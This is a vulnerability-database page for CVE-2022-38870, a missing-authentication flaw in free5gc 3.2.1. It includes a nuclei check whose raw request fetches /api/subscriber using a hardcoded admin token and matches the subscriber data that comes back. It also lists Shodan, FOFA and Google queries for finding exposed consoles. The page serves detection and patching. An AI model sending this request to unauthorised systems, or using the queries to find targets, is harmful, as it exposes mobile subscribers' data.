Browse / CVEs / CVE-2022-38870
CVE-2022-38870· free5gc / free5gc· CWE-306
Free5gc 3.2.1 - Information Disclosure
highseverity
7.5CVSS score
4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
Free5gc 3.2.1 is susceptible to information disclosure. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
Impact
Successful exploitation of this vulnerability could result in unauthorized access to sensitive information.
Fix
Apply the latest patch or upgrade to a patched version of Free5gc 3.2.1 to mitigate the vulnerability.
How to confirm it
Send: GET /api/subscriber
Positive when: contains "\"plmnID\":" and "\"ueId\":" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2022-38870 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-38870
info:
name: Free5gc 3.2.1 - Information Disclosure
author: For3stCo1d
severity: high
description: |
Free5gc 3.2.1 is susceptible to information disclosure. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability could result in unauthorized access to sensitive information.
remediation: |
Apply the latest patch or upgrade to a patched version of Free5gc 3.2.1 to mitigate the vulnerability.
reference:
- https://github.com/free5gc/free5gc/issues/387
- https://nvd.nist.gov/vuln/detail/CVE-2022-38870
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-38870
cwe-id: CWE-306
epss-score: 0.03991
epss-percentile: 0.906
cpe: cpe:2.3:a:free5gc:free5gc:3.2.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: free5gc
product: free5gc
shodan-query:
- http.title:"free5GC Web Console"
- http.title:"free5gc web console"
fofa-query: title="free5gc web console"
google-query: intitle:"free5gc web console"
tags: cve,cve2022,free5gc,exposure,vuln
http:
- raw:
- |
GET /api/subscriber HTTP/1.1
Host: {{Hostname}}
Token: admin
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"plmnID":'
- '"ueId":'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200References
- https://github.com/free5gc/free5gc/issues/387
- https://nvd.nist.gov/vuln/detail/CVE-2022-38870
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
Use this check only on systems you are authorised to test. Where the data comes from